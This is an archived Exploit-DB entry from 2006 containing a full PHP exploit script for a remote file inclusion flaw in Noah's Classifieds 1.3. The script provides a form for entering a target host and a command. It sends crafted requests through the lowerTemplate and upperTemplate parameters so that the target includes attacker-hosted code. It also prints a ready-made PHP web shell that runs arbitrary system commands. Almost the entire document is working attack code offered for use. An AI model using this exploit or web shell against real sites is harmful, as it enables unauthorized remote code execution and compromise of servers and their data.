Noahs Classifieds <= 1.3 lowerTemplate Remote Code Execution

2006-02-22T00:00:00
ID EDB-ID:1521
Type exploitdb
Reporter trueend5
Modified 2006-02-22T00:00:00

Description

Noahs Classifieds <= 1.3 (lowerTemplate) Remote Code Execution. Webapps exploit for php platform

                                        
                                            &lt;?php
#               Noah's classifieds 1.3 Remote Code Execution                  #
#                                by trueend5                                  #
#                  Computer Security Researchers Institute                    #
#                           [http://www.KAPDA.ir]                             #
#                        *** Functions From rgod ***                          #
#                       Condition:register_globals=On                         #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=windows-1252"&gt;
&lt;title&gt;Noah`s classifieds 1.3 Remote Code Execution&lt;/title&gt;
&lt;/head&gt;

&lt;body bgcolor="#FFCCFF"&gt;

&lt;p align="center"&gt;&lt;font size="4" color="#0000FF"&gt;Noah`s classifieds 1.3 Remote
Code Execution&lt;/font&gt;&lt;/p&gt;
&lt;p class="Stile6" align="center"&gt;&lt;font size="3" color="#FF0000"&gt;by trueend5&lt;/font&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;font size="4" color="#008000"&gt;Computer Security Researchers
Institute&lt;/font&gt;&lt;/p&gt;
&lt;font SIZE="3"&gt;
&lt;p align="center"&gt;&lt;a href="http://www.kapda.ir"&gt;KAPDA&lt;/a&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;img border="0" src="http://irannetjob.com/pics/ph-logo.png" width="120" height="121"&gt;&lt;/p&gt;
&lt;/font&gt;
&lt;table width="90%"&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td width="43%" align="left"&gt;
        &lt;form name="form1" action="'.$SERVER[PHP_SELF].'" method="post"&gt;
          &lt;p&gt;&lt;input name="host" size="20"&gt; &lt;span class="Stile5"&gt;&lt;font color="#FF0000"&gt;*&lt;/font&gt; hostname (ex:www.sitename.com)&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name="path" size="20"&gt; &lt;span class="Stile5"&gt;&lt;font color="#FF0000"&gt;*&lt;/font&gt; path (ex: /classifieds/
          or just / )&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name="CMD" size="20"&gt; &lt;span class="Stile5"&gt;&lt;font color="#FF0000"&gt;*&lt;/font&gt; specify a
          command&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name="LOCATION" size="20"&gt;&lt;span class="Stile5"&gt;&lt;font color="#FF0000"&gt;*&lt;/font&gt; remote
          location ( ex: http://www.somesite.com/sys.php)&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name="port" size="20"&gt;&lt;span class="Stile5"&gt;specify a port&nbsp;
          (default is 80)&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name="proxy" size="20"&gt;&lt;span class="Stile5"&gt;send exploit
          through an HTTP proxy (ip:port)&lt;/span&gt;&lt;/p&gt;
          &lt;p align="center"&gt; &lt;span class="Stile5"&gt;&lt;font color="#FF0000"&gt;&nbsp;&nbsp;
          * &lt;/font&gt;fields are required&lt;/span&gt;&lt;/p&gt;
          &lt;p align="center"&gt;&lt;span class="Stile5"&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;/p&gt;
          
          &lt;p&gt;&lt;input type="submit" value="Start" name="Submit"&gt;&lt;/p&gt;
        &lt;/form&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;';
function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '&lt;table border="0"&gt;&lt;tr&gt;';
  while ($ii &lt;= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
      for ($li=0; $li&lt;=15; $li++) {
        echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
		}
      $ki=$ki+16;
      echo "&lt;/tr&gt;&lt;tr&gt;";
    }
    if (strlen($datai)==1) {
      echo "&lt;td&gt;0".$datai."&lt;/td&gt;";
    }
    else {
      echo "&lt;td&gt;".$datai."&lt;/td&gt; ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
  }
  for ($li=$ci*16; $li&lt;=strlen($headeri); $li++) {
    echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
  }
  echo "&lt;/tr&gt;&lt;/table&gt;";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() 
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid proxy';
    die;
    }
  echo "OK.&lt;br&gt;";
  echo "Attempting to connect to ".$host." on port ".$port."...&lt;br&gt;";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &lt; 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";
  }
  else {
    echo "OK.&lt;br&gt;&lt;br&gt;";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:&lt;br&gt;";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$CMD=$_POST[CMD];
$LOCATION=$_POST[LOCATION];


if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($CMD&lt;&gt;'') and ($LOCATION&lt;&gt;''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {die('Error... check the path!');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);
  $CMD=urlencode($CMD);

  $packet="GET ".$p."index.php?com=".$CMD."&lowerTemplate=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("kapda",$html)) {echo "Exploit succeeded"; die;}
                           else {echo "Trying Step 2...&lt;br&gt;";}

  $packet="GET ".$p."index.php?com=".$CMD."&upperTemplate=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: SnoopRob/x.x\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("kapda",$html)) {echo "Exploit succeeded"; }
                           else {echo "Exploit failed...";}
}
else
{echo "Note: on remote location which supports php, prepare this code in&lt;br&gt;
        http://remote_location/sys.php&lt;br&gt;";
 echo  nl2br(htmlentities("
&lt;?php
        echo '&lt;?php echo\"kapda\"; ini_set(\"max_execution_time\",0);
        \$com = \$_GET[\"com\"];
        system (\"\$com\"); ?&gt;';
?&gt;

        Or on remote location that Doesnt support php, prepare this code in
        http://remote_location/sys.php


&lt;?php
 echo\"kapda\";
 ini_set(\"max_execution_time\",0);
 \$com = \$_GET[\"com\"];
 system (\"\$com\");
?&gt;
        "));}

?&gt;

# milw0rm.com [2006-02-22]